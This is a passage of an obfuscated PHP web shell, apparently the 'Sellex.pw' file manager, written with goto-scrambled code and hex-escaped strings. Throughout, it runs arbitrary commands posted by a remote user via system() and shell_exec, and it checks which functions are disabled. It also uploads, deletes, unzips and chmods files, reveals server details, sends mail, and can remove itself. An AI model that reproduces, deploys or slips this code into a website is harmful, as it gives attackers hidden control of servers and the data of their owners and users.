x65\x29\x7b\162\x65\x74\165\x72\x6e\x20\144\133\145\135\x7d\135\x3b\x65\x3d\146\x75\156\143\164\x69\x6f\156\50\51\173\x72\x65\x74\x75\x72\x6e\47\x5c\134\x77\53\x27\x7d\73\143\75\61\175\73\x77\x68\x69\154\x65\x28\x63\x2d\55\x29\173\x69\146\x28\153\133\143\135\51\173\x70\x3d\160\56\x72\x65\x70\154\141\x63\145\50\x6e\145\167\x20\x52\x65\147\105\170\160\x28\47\134\134\142\47\x2b\145\50\x63\x29\x2b\x27\x5c\134\x62\47\x2c\47\147\x27\x29\54\153\133\x63\135\x29\x7d\175\162\x65\x74\165\x72\x6e\40\x70\x7d\x28\47\105\x2e\x6e\50\51\73\44\x28\x5c\x27\133\62\55\155\75\x22\64\x22\135\134\47\51\x2e\x34\x28\51\73\x24\x28\x22\56\x6c\42\51\56\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\x28\x29\73\x68\x20\x30\x3d\x24\x28\66\x29\56\65\x28\42\x32\55\60\x22\51\x3b\143\50\x7b\142\x3a\42\x61\42\54\x39\x3a\42\x6f\40\x69\x20\161\x3f\42\x2c\167\x3a\42\104\40\x22\53\60\x2b\42\x20\160\x20\x43\40\102\42\54\101\72\x37\54\x7a\x3a\67\x2c\175\x29\x2e\171\x28\50\70\51\x3d\76\173\162\50\x38\x29\173\170\x20\61\x3d\x24\x28\x36\x29\56\x35\x28\x22\x33\x22\51\53\42\x26\x74\x3d\x22\x2b\50\50\x30\x3d\75\x22\x76\x22\51\77\x22\x64\42\x3a\42\146\42\x29\73\165\56\163\x2e\x33\75\x31\x7d\x7d\x29\175\51\73\x27\x2c\x34\x31\x2c\64\x31\54\47\164\x79\160\x65\174\x62\x75\x69\154\144\x55\x52\x4c\174\144\x61\164\x61\x7c\x68\162\x65\146\174\x74\x6f\x6f\154\x74\151\160\x7c\x61\x74\x74\162\174\x74\x68\151\163\174\164\162\x75\145\174\x77\151\x6c\154\104\x65\154\x65\x74\x65\174\x74\151\x74\x6c\145\x7c\x77\141\162\156\151\x6e\x67\x7c\x69\143\157\x6e\x7c\163\167\x61\x6c\x7c\174\174\x7c\160\162\145\x76\x65\x6e\164\x44\145\146\x61\165\154\164\x7c\x6c\x65\x74\x7c\x79\157\x75\174\146\165\x6e\143\164\x69\157\156\x7c\143\x6c\151\143\x6b\174\144\x65\154\x65\164\145\174\164\157\x67\x67\x6c\145\174\151\x6e\151\164\174\x41\x72\145\174\x77\x69\154\154\x7c\163\x75\x72\145\174\151\146\x7c\154\157\143\141\x74\151\x6f\x6e\x7c\x7c\144\157\143\165\155\145\x6e\164\x7c\x66\x6f\154\144\x65\162\x7c\164\x65\x78\x74\174\x63\x6f\156\163\x74\174\x74\150\x65\x6e\x7c\x64\141\156\147\x65\x72\x4d\157\x64\x65\174\142\x75\164\x74\x6f\x6e\x73\x7c\x64\x65\154\145\164\x65\144\174\142\x65\174\x54\150\x69\163\174\142\x73\103\x75\x73\x74\157\155\x46\x69\x6c\145\x49\x6e\160\x75\x74\47\56\x73\x70\x6c\151\164\50\x27\174\x27\51\x2c\x30\54\173\175\x29\51\x3c\x2f\x73\143\162\x69\x70\164\76\xa\xa\74\163\143\162\x69\x70\x74\x20\x73\162\x63\75\x22\x68\164\164\160\163\x3a\x2f\57\x63\144\x6e\56\152\163\144\145\154\151\166\x72\x2e\x6e\x65\x74\x2f\x6e\160\x6d\57\100\x65\x78\x75\141\156\x62\157\x2f\146\x69\154\145\x2d\x69\x63\x6f\x6e\x73\55\x6a\163\100\154\141\164\x65\x73\164\57\144\151\x73\164\57\x6a\x73\x2f\x66\151\x6c\x65\x2d\x69\x63\157\156\x73\56\155\x69\x6e\56\152\163\42\x3e\74\57\x73\x63\x72\151\x70\x74\x3e\xa\x3c\163\143\162\151\160\x74\76\xa\40\40\x63\157\156\x73\164\40\x69\x63\157\x6e\163\40\x3d\40\x72\x65\x71\x75\151\162\x65\x28\x27\x66\x69\154\145\55\151\x63\x6f\156\x73\x2d\x6a\x73\47\51\xa\x20\x20\144\157\143\165\155\145\x6e\164\x2e\161\x75\x65\162\x79\123\x65\x6c\145\143\164\x6f\162\x41\x6c\154\x28\47\x2e\142\x69\56\x62\151\55\x66\x69\x6c\145\x2d\x65\141\162\x6d\141\162\153\55\x66\151\x6c\154\47\51\56\x66\157\x72\105\141\x63\150\50\x69\40\75\x3e\x20\173\12\40\x20\40\x20\x69\143\x6f\x6e\x73\56\x67\x65\x74\103\x6c\141\163\x73\50\x69\x2e\147\145\x74\101\x74\x74\x72\x69\x62\165\164\x65\x28\47\144\x61\164\x61\55\x6e\141\155\x65\47\x29\51\x2e\164\150\145\156\50\x63\x20\75\76\x20\x69\56\x63\x6c\141\163\x73\x4e\x61\x6d\145\x20\x3d\x20\x63\56\x72\145\160\154\x61\143\145\50\x22\151\x63\157\156\55\x66\151\x6c\x65\55\164\145\x78\x74\42\54\40\x22\164\145\170\164\x2d\151\143\x6f\x6e\42\51\51\xa\40\x20\x7d\51\xa\x3c\x2f\x73\143\x72\x69\x70\164\x3e\xa\74\x2f\142\x6f\x64\x79\x3e\x3c\x2f\150\x74\x6d\154\76\12"; goto xuNK1; RpDwy: echo substr(@phpversion(), 0, 20); goto rfYlk; kU72Z: echo system($_POST["\145\170\145\143\x6d\x64"]); goto rcEfg; Qm8jY: GfRvx: goto k5wXS; eKyjG: if (strpos(ini_get("\144\x69\163\x61\x62\154\145\137\x66\x75\156\x63\x74\x69\157\x6e\x73"), "\x73\x68\x65\x6c\x6c\137\x65\170\x65\143") !== 0) { goto aEkYB; } goto FEBxE; MIuoc: fclose($huZFR); goto qtvxW; B6QGb: F2y3T("\146\x69\154\145\40\x64\145\x6c\x65\164\x65\x64\x20\163\x75\x63\143\x65\163\x73\x66\x75\154\x6c\x79"); goto f0OQq; qG05B: if (strpos($bP9ht, "\141\144\144\x69\156\147") !== false) { goto nlzqU; } goto io1hp; sJ72V: if (@mail($I8vAC . "\100" . $I8vAC . "\x2e\x63\x6f\x6d", "\110\x65\x6c\x6c\x6f", "\110\x65\x6c\x6c\x6f\54\40\144\x65\x61\x72\40\x75\163\145\162\x21")) { goto bjEbz; } goto jsW6g; ln1jF: GvegE: goto zl_wE; sfpuB: uVwWe: goto ptH6a; GZOS4: if (!(isset($_POST["\x63\147\x66"]) && isset($_POST["\x63\x6f\x64\x65\170"]))) { goto cNHru; } goto IJK5e; qgmWb: unlink($fKgA3); goto BD3G9; pQMdN: echo basename($_SERVER["\120\110\120\137\x53\x45\x4c\x46"]); goto ftX43; te6fx: echo fFUJP(); goto suGJ_; hRGsN: echo $_SERVER["\123\105\122\x56\x45\x52\x5f\x41\x44\x44\x52"]; goto X7iEx; d82TW: if (!isset($_GET["\143\x68\x65\x63\153"])) { goto oUhL4; } goto t1bgm; mdSkB: jH9T2: goto ln1jF; t1bgm: die("\167\x6f\162\153\151\x6e\x67"); goto qeUDI; EWy47: if ($uKjJE == "\156\x65\167\104\151\162") { goto A1Aby; } goto Q1b9f; pVwzF: if (empty($bzgfY)) { goto T17o4; } goto M4x5x; JAjFD: UMC9K: goto r5Ado; g2Jgz: NY9pM: goto o4r4L; g1M5R: rmdir($mKxy1); goto QmpR8; zkSv_: M9NtG: goto gvvFg; qp1Ja: echo ta6a_(); goto x20Uz; I04b2: echo uocA2(); goto qBcvL; Rjllv: echo "\x22\76\x3c\x62\x72\76\12\40\x20\40\x20\x20\x20\40\40\74\151\156\x70\165\x74\40\164\x79\160\x65\75\42\163\165\142\155\x69\x74\x22\40\x63\154\141\x73\163\x3d\42\142\165\164\164\x6f\156\40\151\163\x2d\x70\162\x69\x6d\141\162\171\x20\155\154\55\x32\42\x20\166\141\154\x75\x65\75\42\x63\x68\155\157\144\42\76\xa\x20\40\x20\40\40\40\74\x2f\x64\151\x76\x3e\xa\40\x20\40\40\x3c\57\146\157\162\x6d\x3e\12\x20\x20\74\x2f\144\151\x76\76\12\x9"; goto GZOS4; nXISj: nlzqU: goto ni_Wu; Ivj0Q: echo $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"]; goto f3cw5; fwZTh: ptPZr($_REQUEST["\160"] . "\x2f" . $_REQUEST["\x6e"]); goto bVKkC; S9ILR: goto ezK61; goto FOIiG; maHD6: $oJwbz = ''; goto SgmfV; LQ0zG: file_put_contents($E5Z_f, "\x74\145\x73\x74"); goto rA9Hj; CXBuX: if (!isset($_FILES["\x66"])) { goto C3vwP; } goto e3BHi; Lh2oi: aEkYB: goto UvaCs; KwcdW: echo get_current_user(); goto zysIk; ezNsH: echo FFujP(); goto iTPy6; GarFd: $bzgfY = shell_exec("\167\x68\x69\143\x68\x20\172\x69\160"); goto maHD6; eLrPW: F2Y3T("\x5a\111\x50\40\x46\151\x6c\145\x20\105\170\164\162\141\143\x74\x65\x64\x21"); goto be0Xq; HhYmi: echo "\42\76\12\40\40\x20\x20\x3c\144\151\x76\x20\x63\154\x61\163\x73\75\42\151\163\x2d\x66\x6c\x65\x78\42\x3e\xa\x20\x20\40\40\x20\x20\74\x69\x6e\160\165\x74\x20\x74\171\x70\x65\75\x22\x74\145\x78\x74\42\40\156\x61\x6d\145\75\x22\x63\x6f\144\145\x78\42\x20\143\x6c\141\163\x73\x3d\42\x69\156\x70\x75\164\42\x20\160\x6c\141\143\x65\x68\x6f\154\144\x65\162\75\42"; goto kRxWW; GpfQr: sl6BV: goto Q_7wu; hXpWe: echo "\74\x2f\164\151\164\x6c\x65\76\xa\40\x20\40\40\74\x73\164\171\154\145\76\12\40\40\40\40\x20\x20\164\x62\157\x64\171\40\x74\162\x3a\x68\x6f\166\x65\162\40\x7b\12\x20\40\40\x20\40\40\40\x20\142\x61\143\153\147\162\157\x75\156\x64\55\x63\x6f\154\x6f\162\x3a\40\x68\163\154\x28\61\x37\x31\x2c\x20\x31\60\60\45\54\x20\x31\66\45\51\12\40\x20\40\40\40\x20\175\xa\x20\x20\40\40\40\40\154\x69\40\x7b\xa\x20\x20\40\x20\40\x20\40\x20\x66\157\156\x74\x2d\163\x69\172\x65\72\x20\x31\70\x70\x78\73\12\x20\40\x20\40\x20\x20\x20\40\x6d\141\162\147\151\x6e\55\x6c\x65\146\x74\x3a\40\66\160\170\x3b\xa\40\40\x20\40\x20\x20\40\x20\x6c\151\163\x74\x2d\163\164\x79\x6c\x65\x3a\x20\156\x6f\x6e\x65\xa\x20\40\40\x20\40\40\x7d\12\x20\x20\x20\40\40\x20\x69\56\151\x63\x6f\156\x20\173\12\x20\40\x20\x20\40\40\x20\40\163\x63\x61\154\x65\x3a\x20\x31\x2e\64\73\12\40\x20\40\x20\x20\x20\x20\x20\155\x61\162\x67\x69\x6e\55\154\x65\x66\164\x3a\40\x2d\x34\160\x78\x3b\xa\x20\x20\x20\40\x20\x20\x7d\xa\x20\40\x20\x20\40\x20\x69\x6e\160\165\x74\x2e\x69\156\160\165\x74\72\72\x70\x6c\141\143\x65\150\157\154\144\145\x72\x7b\12\40\40\40\x20\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x68\x73\x6c\50\61\x37\61\x2c\40\61\x30\x30\x25\54\40\62\x38\45\51\x3b\12\x20\x20\40\40\x20\40\x7d\12\x20\x20\x20\40\x20\x20\x2e\146\154\x6f\x61\x74\x69\x6e\147\55\x62\141\x6e\156\145\x72\173\xa\40\x20\40\x20\x20\x20\x20\40\x70\157\163\151\164\151\157\156\72\146\151\170\x65\x64\73\x62\x6f\x74\x74\157\x6d\72\60\x3b\x72\151\147\x68\164\72\x30\73\xa\x20\40\40\40\40\x20\175\xa\40\x20\40\x20\x20\x20\x2e\146\x6c\157\141\x74\151\156\147\x2d\x62\x61\x6e\156\x65\162\40\141\40\173\12\x20\40\x20\x20\40\40\x20\40\142\157\x72\144\x65\x72\x3a\64\x70\170\40\163\157\x6c\151\x64\40\x23\x66\x66\146\146\x66\146\66\66\x3b\12\x20\x20\x20\x20\40\40\x20\40\x63\x6f\154\157\162\x3a\x23\146\x66\146\x66\x66\146\103\x43\x3b\12\40\x20\40\x20\40\x20\40\x20\142\x6f\162\x64\x65\162\x2d\162\141\144\151\x75\x73\72\70\x70\170\x3b\12\40\40\40\x20\x20\x20\x20\x20\x70\x61\144\x64\151\x6e\147\x3a\x32\160\170\x20\61\62\x70\170\73\12\x20\x20\x20\x20\x20\x20\x7d\12\40\x20\40\40\40\x20\x2e\146\154\x6f\x61\164\x69\x6e\147\55\x62\141\x6e\x6e\x65\162\x20\x61\x20\x62\40\x7b\12\x20\40\40\40\40\x20\x20\40\146\x6f\156\164\55\167\x65\151\x67\150\x74\72\71\x30\60\x3b\xa\40\40\40\40\40\x20\40\40\x63\157\x6c\157\162\72\x77\x68\151\x74\145\x3b\xa\x20\x20\x20\40\40\40\x7d\xa\x20\40\x20\40\x20\x20\x2e\x67\162\x61\144\x69\x65\156\164\55\x62\147\x20\173\xa\40\x20\x20\40\40\x20\x20\40\142\x61\x63\x6b\x67\162\x6f\165\x6e\x64\x3a\x20\x6c\151\x6e\x65\141\162\55\x67\162\x61\144\151\145\x6e\x74\50\55\64\x35\144\x65\147\54\x20\40\43\60\x66\x30\x63\62\x39\54\x20\x23\x33\60\x32\x62\66\x33\54\x20\x23\x32\x34\62\x34\63\x65\54\x23\x65\x65\x37\x37\x35\62\54\x20\x23\x65\x37\63\143\67\145\x2c\x20\43\x32\63\x61\66\144\x35\54\40\x23\62\63\144\65\x61\x62\54\x20\43\146\x66\x35\x31\62\146\54\x20\x23\x64\144\62\x34\x37\66\54\x20\x23\61\146\x34\60\x33\67\x2c\x20\x23\x31\x36\62\x32\62\141\54\40\x23\60\x62\64\70\66\x62\x2c\40\x23\62\x33\60\67\x34\144\x2c\x20\x23\x63\143\65\x33\x33\x33\x29\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x62\141\x63\x6b\147\162\157\165\156\x64\55\x73\x69\172\x65\x3a\x20\x34\x30\x30\x25\40\64\60\60\45\x3b\12\40\x20\x20\40\40\x20\40\40\141\x6e\151\155\141\164\x69\157\156\x3a\40\x67\162\x61\144\151\145\x6e\164\x20\61\x30\163\40\x65\141\x73\x65\x20\x69\x6e\146\x69\x6e\151\164\x65\x3b\xa\x20\40\40\40\x20\40\x7d\xa\xa\40\40\x20\40\x20\40\x40\x6b\145\171\146\162\141\x6d\x65\x73\x20\x67\162\x61\144\x69\x65\156\x74\40\173\12\40\x20\40\x20\40\40\40\x20\60\45\40\173\12\40\40\x20\40\x20\40\x20\40\40\40\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\x2d\x70\x6f\163\x69\164\151\157\x6e\x3a\40\x30\45\x20\x35\60\x25\73\12\40\x20\40\x20\x20\40\x20\40\175\12\x20\x20\x20\x20\40\x20\x20\40\65\60\45\x20\173\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\142\x61\143\x6b\x67\162\x6f\x75\x6e\x64\55\x70\157\163\x69\164\151\x6f\x6e\72\40\x31\x30\x30\x25\40\65\x30\x25\x3b\12\x20\x20\x20\40\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\x20\x20\x20\61\x30\x30\45\40\x7b\12\40\x20\40\40\x20\40\40\x20\40\40\142\x61\x63\x6b\147\162\157\165\156\x64\55\160\157\x73\x69\x74\x69\157\x6e\x3a\40\x30\45\x20\65\60\x25\73\12\40\x20\x20\x20\x20\40\40\40\175\12\x20\x20\40\x20\x20\x20\x7d\xa\12\12\x20\x20\x20\x20\x20\40\141\x7b\x63\x6f\154\x6f\x72\x3a\43\146\146\x66\175\12\x20\x20\40\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\12\x20\x20\40\40\74\163\x63\162\151\160\164\40\x73\162\x63\75\42\57\57\165\x6e\160\x6b\x67\56\x63\x6f\155\x2f\163\x77\x65\x65\164\141\x6c\x65\x72\x74\x2f\x64\x69\x73\164\x2f\x73\x77\x65\145\164\141\154\145\x72\164\x2e\x6d\x69\156\x2e\152\163\42\x3e\74\x2f\163\x63\x72\x69\x70\164\x3e\12\x20\x20\74\57\x68\x65\141\144\x3e\xa\74\142\x6f\x64\x79\x20\x64\x61\164\141\x2d\x74\x68\x65\155\145\75\x22\144\x61\x72\x6b\42\40\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\x62\141\x63\153\x67\162\157\x75\x6e\x64\x2d\142\154\x61\143\x6b\55\142\151\163\x20\150\x61\x73\x2d\164\x65\x78\164\55\x77\150\151\x74\x65\55\142\x69\x73\x22\40\x73\164\x79\x6c\x65\x3d\42\x6d\x69\156\x2d\150\145\x69\147\x68\164\x3a\x31\x30\60\x76\x68\42\76\12\40\x20\x3c\144\151\x76\40\x73\164\171\x6c\145\x3d\42\x64\151\163\160\154\x61\x79\x3a\156\x6f\x6e\x65\42\76\12\40\40\x20\x20\74\x61\40\x68\x72\145\x66\x3d\x22\150\164\164\160\x73\72\57\57\x73\x65\x6c\154\x65\170\x2e\142\x69\x7a\x22\x20\x74\x69\x74\154\x65\75\42\123\x65\x6c\x6c\x65\170\40\123\150\157\x70\x22\x3e\x53\145\154\x6c\x65\170\x20\x53\x68\157\160\74\57\141\76\xa\40\40\40\40\74\x64\151\166\76\12\x20\40\40\40\40\x20\74\163\160\x61\x6e\x3e\x53\x65\154\154\145\170\x2e\x70\x77\74\x2f\x73\x70\141\156\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\76\x46\x69\x6c\145\x20\155\x61\x6e\x61\147\145\x72\x3c\57\x73\160\141\156\x3e\12\x20\x20\40\40\40\x20\x3c\163\x70\x61\156\x3e\123\x65\x6c\146\40\162\x65\155\x6f\166\x65\74\x2f\x73\x70\x61\156\76\12\x20\40\x20\40\74\57\144\151\166\x3e\12\x20\40\40\x20\x3c\154\x69\x3e\125\156\141\155\x65\40\72\40\x3c\156\157\142\162\x3e"; goto KBqBV; ftX43: echo "\42\76\12\x20\x20\x20\x20\x20\40\x20\40\x3c\x69\x6e\x70\165\x74\x20\164\171\160\145\75\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\x73\x3d\x22\142\165\x74\x74\x6f\x6e\x20\x69\163\x2d\x70\162\x69\155\141\162\171\40\151\163\55\x64\x61\162\x6b\40\151\x73\x2d\163\x6d\141\154\x6c\x20\155\164\x2d\62\42\40\156\141\x6d\145\75\x22\151\156\146\x6f\42\x20\x76\141\x6c\165\x65\75\x22\106\165\x6c\x6c\40\x53\x65\162\166\x65\162\x20\x49\156\x66\157\x22\x3e\xa\x20\x20\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\12"; goto Zn19y; asyxZ: if ($DRQDR === TRUE) { goto pBHDV; } goto dJUVQ; gvvFg: echo "\74\144\x69\x76\x20\x6d\x65\164\150\x6f\144\75\42\x70\157\163\164\42\40\143\x6c\141\x73\163\75\42\x62\x6f\170\x22\x20\x73\x74\171\x6c\x65\x3d\x22\x62\x6f\x72\x64\145\x72\x3a\62\160\170\40\163\x6f\x6c\151\144\x20\x68\x73\154\50\x31\x37\x31\54\40\x31\x30\60\45\x2c\40\61\x36\x25\x29\42\x3e\xa\40\40\x3c\150\64\x20\x63\154\x61\x73\163\75\x22\151\x73\x2d\163\x69\x7a\x65\55\x35\40\150\x61\x73\x2d\164\x65\x78\164\x2d\167\x65\x69\147\150\164\x2d\x62\157\x6c\144\x20\150\141\163\55\164\145\170\x74\x2d\160\162\151\x6d\141\x72\x79\x20\155\x62\x2d\x34\42\x3e\xa\x20\40\40\40\x56\151\145\167\x20\x46\x69\154\145\x3a\x20\x3c\163\x70\x61\x6e\x20\143\154\x61\163\x73\x3d\42\150\x61\x73\55\x74\145\x78\164\x2d\167\150\151\x74\145\x20\150\141\x73\55\x74\145\170\x74\x2d\167\145\x69\147\150\x74\x2d\x6e\x6f\x72\155\x61\x6c\x22\76\x20"; goto k9e4Z; fSLYI: if (!isset($_POST["\x7a\151\160\x66\151\x6c\x65"])) { goto TiVoG; } goto HiUWT; cgrAg: bjEbz: goto S8AsQ; PQOqt: echo ugwhk($_GET["\156"]); goto aDHsV; JniYy: unlink($FK4d6); goto Rk1K9; G87Ww: echo UgWhk($_GET["\x70"]) . "\x2f" . UgwhK($_GET["\x6e"]); goto HhYmi; o4r4L: echo "\125\156\172\151\160\160\x65\x64\x20\x73\x75\x63\143\145\163\x73\x66\165\154\x6c\171\x20\165\163\151\x6e\147\40\143\x6f\155\x6d\141\x6e\144\40\154\x69\x6e\x65\x2e\xa"; goto FcEuN; DNDGC: H2eZY: goto nH3yT; bVKkC: Rhx7x: goto BFh3Z; Qnu8o: if (isset($_GET["\x64\x6f\x77\x6e\154\x6f\x61\x64"])) { goto nBPoY; } goto BCVk_; C_GN8: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\x2f{$_POST["\156"]}") ? f2Y3t("\146\157\154\x64\145\162\40\x6e\141\155\x65\x20\x68\x61\163\40\x62\145\145\x6e\x20\x75\x73\x65\144", 0, "\46\x61\75" . SiRa4("\x6e\x65\167\x44\151\x72")) : ($mWJjd[15]("{$keVpk}\57{$_POST["\156"]}") ? F2y3T("\146\x6f\x6c\x64\x65\x72\40\143\162\x65\141\x74\145\x64\40\x73\165\x63\143\x65\163\163\x66\x75\154\154\171") : F2y3T("\146\x6f\x6c\144\x65\162\x20\146\141\151\154\x65\x64\x20\164\157\40\143\x72\x65\141\x74\x65", 0)) : null; goto cxhRw; K_MOx: $zErae++; goto uThiJ; OKn_g: echo "\74\x2f\x6c\x69\76\xa\40\x20\74\57\x64\x69\166\x3e\xa\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\x3d\42\160\x2d\62\x22\x3e\12\40\40\40\40\x20\x20\x3c\150\x33\x20\x63\x6c\x61\x73\x73\x3d\42\x69\163\55\x73\151\x7a\x65\x2d\63\x20\x6d\x62\x2d\x33\42\x20\x3e\xa\40\40\x20\x20\40\x20\x20\40\74\x63\x65\156\x74\145\162\x3e\x3c\142\x3e\74\x61\x20\x73\164\x79\x6c\145\75\42\142\141\143\153\x67\x72\157\x75\x6e\x64\72\x74\x72\141\x6e\x73\160\141\162\145\x6e\x74\x22\x20\150\x72\145\x66\x3d\42"; goto LISdx; NbQpR: echo "\x3c\x2f\160\x72\x65\76\74\x2f\144\151\x76\76"; goto F63xR; f0OQq: zBzhl: goto OhcY4; i0L9P: if (isset($_GET["\160"])) { goto X1heF; } goto hB10d; nH3yT: echo "\124\150\x65\40\x27\x75\156\x7a\151\x70\47\x20\143\157\155\x6d\x61\156\x64\40\x69\163\40\156\x6f\x74\40\141\166\141\x69\x6c\141\x62\154\145\x20\157\156\x20\x74\x68\x69\x73\x20\x73\145\x72\166\x65\162\56\12"; goto vwrwf; m8TO1: $DRQDR = $qJtBd->open($huZFR); goto asyxZ; iTPy6: echo "\74\57\x6e\x6f\142\162\76\40\174\40\143\125\x52\114\x20\72\40"; goto HKjD5; rwbFS: dR8cX: goto lmJ1h; xLpxC: v0eS9: goto nJ13P; r2NiQ: echo "\40\x20\x20\x20\x20\x20\x3c\57\146\157\x72\155\76\12\40\40\x20\40\x20\x20\74\146\x6f\x72\x6d\x20\x61\143\164\151\x6f\156\x3d\42\x22\x20\x63\154\141\163\163\75\42\x69\163\x2d\x66\154\145\170\x20\151\163\55\x61\154\x69\147\x6e\55\x69\164\x65\155\163\x2d\x65\156\x64\x22\x20\x6d\145\164\x68\x6f\144\x3d\42\x50\117\123\x54\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\74\x64\x69\x76\76\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x3c\x21\55\55\x20\x3c\x6c\141\142\145\x6c\x3e\x4e\x65\x77\x20\x46\x69\x6c\145\74\x2f\154\141\142\x65\x6c\x3e\40\x2d\55\76\12\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x69\x6e\160\x75\164\x20\164\x79\160\x65\x3d\42\x74\145\170\164\42\40\143\154\x61\163\x73\x3d\42\x69\156\160\165\164\x20\151\x73\55\163\x6d\x61\154\154\42\40\x70\154\141\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x4e\x65\x77\x20\106\x69\x6c\x65\x22\40\x20\x6e\x61\155\145\x3d\x22\155\141\153\x65\146\x69\154\x65\42\x2f\x3e\12\40\x20\40\x20\40\40\x20\40\74\57\x64\x69\x76\76\12\x20\x20\x20\x20\x20\40\40\40\x3c\151\156\x70\165\x74\x20\143\154\141\163\163\x3d\42\x6d\x6c\x2d\61\x20\x62\165\x74\164\157\x6e\x20\151\163\x2d\160\162\x69\x6d\x61\x72\171\x20\x69\x73\x2d\x73\x6d\x61\x6c\154\42\40\x74\x79\x70\145\x3d\x22\163\165\142\155\x69\x74\x22\x20\x6e\141\155\145\75\x22\163\x75\142\x6d\x69\x74\x22\40\166\141\x6c\x75\x65\75\x22\x3e\x22\x2f\76\12\40\40\x20\40\x20\40\x20\x20"; goto H61a3; BrWxp: echo $_SERVER["\x52\105\115\x4f\124\x45\137\x41\104\104\x52"]; goto tZlvn; LNZmW: lA959: goto aygGR; suGJ_: echo "\x3c\57\156\x6f\142\162\x3e\12\40\x20\x20\40\x20\x20\x20\x20\x3c\142\x20\x63\x6c\x61\x73\x73\75\42\164\141\x67\x20\x69\x73\x2d\154\151\x67\150\164\40\150\x61\x73\55\x74\x65\170\164\55\144\x61\x72\153\42\x3e\143\x55\x52\114\74\x2f\x62\76\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\156\x6f\x62\162\x20\x63\154\x61\163\x73\75\x22\x6d\x78\x2d\62\42\76"; goto I04b2; znQki: ISTc7: goto S4PR2; hRG94: die($oJwbz); goto RXCC4; VLAWb: function ta6A_() { goto qIzSa; Xx_Os: return "\x4f\106\106"; goto Hu5gv; XNMt4: return "\117\x4e"; goto uWjuh; T7EWo: if (!$CNnnz) { goto HT4LX; } goto XNMt4; Hu5gv: dK1SF: goto QjQdh; uWjuh: goto dK1SF; goto xfzK_; xfzK_: HT4LX: goto Xx_Os; qIzSa: $CNnnz = ini_get("\x73\x61\146\x65\x5f\x6d\x6f\144\145"); goto T7EWo; QjQdh: } goto nIBSq; ihg4R: echo "\x3c\x2f\144\x69\x76\x3e\xa\12"; goto cSOLn; qeUDI: oUhL4: goto Digjf; RU3J2: uUjpR: goto tvfll; BD3G9: unlink($mKxy1 . "\x2f\164\x65\x73\164\x5f\x63\157\155\155\x61\156\144\56\164\170\x74"); goto g1M5R; hp8IJ: echo "\42\x3e\12\x20\x20\40\x20\x20\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\42\x69\x73\x2d\146\x6c\x65\x78\x22\76\12\40\x20\x20\40\x20\x20\x20\x20\x3c\151\x6e\160\x75\164\x20\x74\171\x70\145\75\x22\164\145\170\x74\x22\x20\x6e\x61\155\145\75\42\143\157\144\145\170\x22\40\x63\x6c\141\163\163\75\42\x69\156\x70\x75\x74\x22\x20\x70\154\141\x63\x65\150\x6f\154\x64\145\162\x3d\x22"; goto o2t6T; ZxJHB: $I8vAC .= $Q0FGf[rand(0, $c4zya - 1)]; goto sfpuB; KNEon: if (file_exists($mKxy1 . "\x2f\164\x65\x73\164\x5f\143\157\x6d\x6d\141\x6e\144\x2e\164\170\164")) { goto NY9pM; } goto gFmxG; FEBxE: if (strpos(ini_get("\x64\x69\163\x61\x62\x6c\145\x5f\146\x75\156\143\164\151\157\156\163"), "\x70\141\x73\x73\164\x68\162\165") !== 0) { goto GfRvx; } goto kU72Z; S4PR2: jRMyk: goto ihg4R; ptH6a: $zErae++; goto S9ILR; PnUlf: if (!($zErae < count($mWJjd))) { goto JaEu0; } goto s5eAc; yLU0O: function ffuJp() { goto rCqHi; rCqHi: $xHymW = ini_get("\x64\x69\163\x61\x62\154\145\137\x66\x75\156\143\x74\x69\157\x6e\x73"); goto c8SN1; nq5s7: goto BjQbH; goto hBiDf; thxSs: return "\116\117\x4e\105"; goto toB77; c8SN1: if ($xHymW === null || $xHymW === '') { goto NODaP; } goto OE82c; OE82c: return $xHymW; goto nq5s7; toB77: BjQbH: goto MdwZ0; hBiDf: NODaP: goto thxSs; MdwZ0: } goto FhGzc; V15Yn: if (!$mWJjd[12]($FK4d6)) { goto TJ4s1; } goto T4Cf5; yUqwZ: unlink($fKgA3); goto hRG94; be0Xq: uBpEI: goto DD3Zf; xZKMy: bL7ZL($FK4d6); goto V15Yn; MwYDR: $C1o8f = "\163\143\x61\156\x64\151\x72"; goto uDHys; stDsX: echo "\74\x2f\156\x6f\x62\162\x3e\x20\x7c\40\131\x6f\165\162\40\x49\x50\40\x3a\x20\74\x6e\157\142\x72\76"; goto Ivj0Q; S_wCk: EhEmv: goto Ae3K7; DccwL: if ($uKjJE == "\166\x69\145\x77") { goto M9NtG; } goto LjELl; n6diT: $E5Z_f = "\164\145\163\x74\137\x63\x6f\155\x6d\141\x6e\144\x2e\164\x78\164"; goto LQ0zG; DJowL: FgYw1($_POST["\x63\147\x66"], $_POST["\x63\x6f\144\x65\170"]); goto KIbsI; hruo2: foreach ($eEP7u as $UUNTX => $NaV7W) { goto eX0_t; E07k0: if (!($zErae <= $UUNTX)) { goto wCUh6; } goto tW25X; o6IVN: echo "\x22\x3e{$NaV7W}\74\x2f\x61\76\x2f"; goto s2b3M; ffLWS: if (!($zErae != $UUNTX)) { goto hPVmu; } goto SLWrs; KbUTP: echo "\x3c\x61\x20\x68\x72\x65\146\75\42\77\x70\75"; goto OERBf; OEQlv: if (!($NaV7W == '')) { goto GS5nb; } goto p3VQ5; ewqVO: $zErae++; goto d8kRZ; mKW9n: hPVmu: goto CwEma; tW25X: echo sIRa4($eEP7u[$zErae]); goto ffLWS; eTgPd: GS5nb: goto KbUTP; d8kRZ: goto tgmlH; goto TZjIQ; CUjjr: echo 